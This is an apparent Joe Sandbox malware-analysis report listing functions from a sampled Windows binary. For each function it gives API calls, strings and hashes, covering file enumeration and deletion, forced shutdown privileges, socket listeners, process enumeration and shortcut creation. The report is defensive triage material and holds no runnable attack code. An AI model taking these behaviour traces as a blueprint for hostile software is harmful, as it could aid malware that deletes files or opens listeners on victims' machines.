Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 3e4c3b379688f77e995ec920cb241b7f3e9a96f5be93c7af246ab0ffa1690d25
Instruction ID: 40ddafcc338265cb27e354e311389cb017526383f510fb922494d6d89b11d63d
Opcode Fuzzy Hash: 3e4c3b379688f77e995ec920cb241b7f3e9a96f5be93c7af246ab0ffa1690d25
Instruction Fuzzy Hash: 3F51583180514DABCF05EBA0DA929EEB77AEF16300F644169F406B6192EB716F09CF71

Function 00DAF3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00DAF440
Sleep.KERNEL32(0000000A), ref: 00DAF470
_wcscmp.LIBCMT ref: 00DAF484
_wcscmp.LIBCMT ref: 00DAF49F
FindNextFileW.KERNEL32(?,?), ref: 00DAF53D
FindClose.KERNEL32(00000000), ref: 00DAF553

Strings

*.*, xrefs: 00DAF425

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 6eb6d40b2b3788d3bfb9e613c7fc5b55b73edecc483298ddb64c105df45c3e5b
Instruction ID: 94d12f047414fecba0cf96b7c8a6e86865f2d8d6d04a1d996750e932dc562d02
Opcode Fuzzy Hash: 6eb6d40b2b3788d3bfb9e613c7fc5b55b73edecc483298ddb64c105df45c3e5b
Instruction Fuzzy Hash: 46412871D0021AAFCF14EFA4D855AEEBBB5EF0A310F1445A6E815A3291EB309A44CF70

Function 00D55760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D558A5
_memmove.LIBCMT ref: 00D558F5
_memmove.LIBCMT ref: 00D5595B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: fd164bfe3515b8a399a35059d9173672b9c6e2fb26d26b4971fc924a186c32b7
Instruction ID: 8ac31b172b4e68d58fa3d95c0642ebc39f31b23ede460aef310bb952c2d5312b
Opcode Fuzzy Hash: fd164bfe3515b8a399a35059d9173672b9c6e2fb26d26b4971fc924a186c32b7
Instruction Fuzzy Hash: A4129A70A00609DFDF04DFA5E991AAEBBF5FF48310F108529E846E7255EB36A914CB70

Function 00DA3B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D44750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D44743,?,?,00D437AE,?), ref: 00D44770

Part of subcall function 00DA4A31: GetFileAttributesW.KERNEL32(?,00DA370B), ref: 00DA4A32

FindFirstFileW.KERNEL32(?,?), ref: 00DA3B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 00DA3BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DA3BEA
FindClose.KERNEL32(00000000), ref: 00DA3C01
FindClose.KERNEL32(00000000), ref: 00DA3C0A

Strings

\*.*, xrefs: 00DA3B5B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 7aa9c7ac1d9ffc7d78b9a7e42cd43e68b02e73152a785b5fd6f7a3213fddf052
Instruction ID: a421b2b00658bd0dad685c98d7dc3e1b147b3d232c3d52b9d59717ae2378ee16
Opcode Fuzzy Hash: 7aa9c7ac1d9ffc7d78b9a7e42cd43e68b02e73152a785b5fd6f7a3213fddf052
Instruction Fuzzy Hash: F6316D31008385ABC201EF24D891DAFB7A9FE92314F444E2DF4D592192EB21DA09CB77

Function 00DA51BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00D987E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D9882B
Part of subcall function 00D987E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D98858
Part of subcall function 00D987E1: GetLastError.KERNEL32 ref: 00D98865

ExitWindowsEx.USER32(?,00000000), ref: 00DA51F9

Strings

@, xrefs: 00DA51EC
, xrefs: 00DA51E7
SeShutdownPrivilege, xrefs: 00DA51C9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 41f5832f91aca705fe3567d80e2125ef536135fe0fd189a91dabb0da8c6da931
Instruction ID: ec246c7f5e2d6d0c400c45055c34fd7a34fa4e5ccef8c2254fe0f2614e0b7f62
Opcode Fuzzy Hash: 41f5832f91aca705fe3567d80e2125ef536135fe0fd189a91dabb0da8c6da931
Instruction Fuzzy Hash: C6017631B917022BFB282368BC8AFBB7298EB07750F680930F953E60D6DA505C0085B8

Function 00DB6283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00DB62DC
WSAGetLastError.WSOCK32(00000000), ref: 00DB62EB
bind.WSOCK32(00000000,?,00000010), ref: 00DB6307
listen.WSOCK32(00000000,00000005), ref: 00DB6316
WSAGetLastError.WSOCK32(00000000), ref: 00DB6330
closesocket.WSOCK32(00000000,00000000), ref: 00DB6344

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 699cd6c0aa64eafb0882ac5f590b32ea788eb2f5382f63dda5a8afcd34b30736
Instruction ID: 42498da9cc380fe3d1595ba16e4dbcb79f20428fa4650fd8356828b81e0a7387
Opcode Fuzzy Hash: 699cd6c0aa64eafb0882ac5f590b32ea788eb2f5382f63dda5a8afcd34b30736
Instruction Fuzzy Hash: 44218D71600205AFCB10AF68C885EAEB7E9EF48720F184159F856E7391C774ED01CB71

Function 00D4FCE0 Relevance: 8.0, APIs: 3, Strings: 1, Instructions: 1040COMMON

Download Yara Rule

Strings

pb, xrefs: 00D849B9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharUpper
String ID: pb
API String ID: 3964851224-3672949377
Opcode ID: 1c9c405ddd730cdf2359e00dca5e34987f1443dfe4f9030f9604ef7703b907dd
Instruction ID: 98912cafb2315fb9e16dc8f426b4eb48b5f58f37417ca0d54b4603f208a52847
Opcode Fuzzy Hash: 1c9c405ddd730cdf2359e00dca5e34987f1443dfe4f9030f9604ef7703b907dd
Instruction Fuzzy Hash: 5F923B706043419FDB24DF14C490B2ABBE5FF85304F18896DE89A9B362D775EC49CBA2

Function 00D55520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00D60DB6: std::exception::exception.LIBCMT ref: 00D60DEC
Part of subcall function 00D60DB6: __CxxThrowException@8.LIBCMT ref: 00D60E01

_memmove.LIBCMT ref: 00D90258
_memmove.LIBCMT ref: 00D9036D
_memmove.LIBCMT ref: 00D90414

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 504cc61e760413e60da3451999ee8b78addf309026468b0f1f00b30010b78794
Instruction ID: 5ab83eeb071cd62215ae75402724f0b81b64a45724c71690f1bc735311efad11
Opcode Fuzzy Hash: 504cc61e760413e60da3451999ee8b78addf309026468b0f1f00b30010b78794
Instruction Fuzzy Hash: 66029FB0A00209DFCF05DF68E991AAEBBB5EF44310F148069E84ADB355EB35D954CBB1

Function 00D41287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00D419FA
GetSysColor.USER32(0000000F,?,?), ref: 00D41A4E
SetBkColor.GDI32(?,00000000), ref: 00D41A61

Part of subcall function 00D41290: DefDlgProcW.USER32(?,00000020,?), ref: 00D412D8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 3bc1538f80d3f066d1a279e855786862f4f540a4ec855c8ac4b168f8e558f9d5
Instruction ID: 62d4d39fd03340031400d721daaa6c64f330c39829add836e5676806d4835bed
Opcode Fuzzy Hash: 3bc1538f80d3f066d1a279e855786862f4f540a4ec855c8ac4b168f8e558f9d5
Instruction Fuzzy Hash: 4EA1BC79112546BFE728AF288C4AFBF395CDF42351B1C411BF652D2182DB21CDC29AB2

Function 00DB6747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00DB7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00DB7DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00DB679E
WSAGetLastError.WSOCK32(00000000), ref: 00DB67C7
bind.WSOCK32(00000000,?,00000010), ref: 00DB6800
WSAGetLastError.WSOCK32(00000000), ref: 00DB680D
closesocket.WSOCK32(00000000,00000000), ref: 00DB6821

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: c4932529c92413b0e617c668557e30d8b1366c0478ce99afad541ca35d5bbb75
Instruction ID: 50259c33cfec01dbf632d4ea350d6382d2af71e71784a6887b3885351e156efc
Opcode Fuzzy Hash: c4932529c92413b0e617c668557e30d8b1366c0478ce99afad541ca35d5bbb75
Instruction Fuzzy Hash: 5E41E475A00200AFDB10BF298C96F6EB7A8DF45754F048458F916AB3D3CA749D018BB1

Function 00DC5376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00DC53C5
IsWindowEnabled.USER32 ref: 00DC53D3
GetForegroundWindow.USER32 ref: 00DC53E0
IsIconic.USER32 ref: 00DC53EE
IsZoomed.USER32 ref: 00DC53FC

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 1e51b0a79131f9044e64e549a2a72bbc1c231b87087561b885f96fdc243d25a2
Instruction ID: 600e34d34c2bbabe0ceec15e193c369363622cc4cf506edac989d94cf751d298
Opcode Fuzzy Hash: 1e51b0a79131f9044e64e549a2a72bbc1c231b87087561b885f96fdc243d25a2
Instruction Fuzzy Hash: CD11B231300A536BDB216F26EC44F6FBB99EF847A1B54402DF846D3241CBB0EC418AB4

Function 00D980A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00D980C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00D980CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00D980D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00D980E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00D980F6

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: b315fc41ca3dd1ecec44224b139e02438391a47a146edbb84ef82385ba817f1b
Instruction ID: 6f3fc4ebbd37b4647d5c2050f905ebf6ba78b3191ba0486588ab5df38068de33
Opcode Fuzzy Hash: b315fc41ca3dd1ecec44224b139e02438391a47a146edbb84ef82385ba817f1b
Instruction Fuzzy Hash: 5EF06231240346BFEB100FA5EC8DEA73FADFF4AB55B040029F945E6250CB619C41EA70

Function 00DAC397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00DAC432
CoCreateInstance.OLE32(00DD2D6C,00000000,00000001,00DD2BDC,?), ref: 00DAC44A

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

CoUninitialize.OLE32 ref: 00DAC6B7

Strings

.lnk, xrefs: 00DAC3C6, 00DAC3EE, 00DAC3F8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 5f5d72efa7c9ff696b168f5a4f5719767af158b822fe0e62730547f48102be8f
Instruction ID: 1e255faa84f042e088156d776847471f510bc38b362d807e93bc724c57ad1465
Opcode Fuzzy Hash: 5f5d72efa7c9ff696b168f5a4f5719767af158b822fe0e62730547f48102be8f
Instruction Fuzzy Hash: B8A12B71104205AFD700EF54C891EAFB7E8EF99354F00492DF5959B2A2DB71EA09CB72

Function 00D44B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00D44B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo,?,00D44AD0), ref: 00D44B57

Strings

GetNativeSystemInfo, xrefs: 00D44B51
kernel32.dll, xrefs: 00D44B40

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 2b6d7fc9185e5f0910e94ec9cc9271c67aaa4d87a3663dd50c58de7522f47556
Instruction ID: 73200ef523368963be24e2508ab5ae5fc01dbc91edf88d872d306887d83c06f1
Opcode Fuzzy Hash: 2b6d7fc9185e5f0910e94ec9cc9271c67aaa4d87a3663dd50c58de7522f47556
Instruction Fuzzy Hash: 8AD01275A10713CFD7209F31D818F8676D6EF05351B19C83D9486D6250D770D8C0C675

Function 00D53030 Relevance: 6.6, APIs: 4, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: be8d0f24ae37835796ff8f5f309e2061c5bed6a6ca298ecc2f14e3bdefd93fc5
Instruction ID: 6221e11af551ac1f36ec27e66ced136afc7216c6e517daa349b2362636e1a5fa
Opcode Fuzzy Hash: be8d0f24ae37835796ff8f5f309e2061c5bed6a6ca298ecc2f14e3bdefd93fc5
Instruction Fuzzy Hash: 5C2267716083009FCB25EF24C891B6EB7E5EF84750F14492DF99A97291DB71E908CBB2

Function 00DBEE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00DBEE3D
Process32FirstW.KERNEL32(00000000,?), ref: 00DBEE4B

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Process32NextW.KERNEL32(00000000,?), ref: 00DBEF0B
CloseHandle.KERNEL32(00000000), ref: 00DBEF1A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: a6c39a94cb14ca6e982604059efd604940118696cff0b48f3641a99e26421e39
Instruction ID: 80dc4599d712d35471d56b8fa1e930af7bfa897355f6beab39f7cbbd8bce0478
Opcode Fuzzy Hash: a6c39a94cb14ca6e982604059efd604940118696cff0b48f3641a99e26421e39
Instruction Fuzzy Hash: 9B517C71504301AFD310EF24D885EABB7E8EF98750F50492DF596972A2EB70E904CBB2

Function 00D9E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00D9E628

Strings

(, xrefs: 00D9E66E
|, xrefs: 00D9E658

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 59a6c146869dab5730bb6bc311726c87bf23a493508514aa3f3c99e1027cdb44
Instruction ID: 8d6e1b20d2e971767eefb617e7cee62524d06aeb20498526237a161d9ae36b9a
Opcode Fuzzy Hash: 59a6c146869dab5730bb6bc311726c87bf23a493508514aa3f3c99e1027cdb44
Instruction Fuzzy Hash: 95322575A007059FDB28CF59C481A6AB7F1FF48320B15C56EE89ADB3A1EB70E941CB50

Function 00DAB3FB Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DAB40B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00DAB465
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00DAB4B2

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 3e7525298dfd38285cc62bbd7221facf61c1498c667061858ffe37dcd7fe954b
Instruction ID: 192cfe053be84bbb7e119b592f12cb6ed5fa1dc9bfb76c2cc2a8696cb89ad706
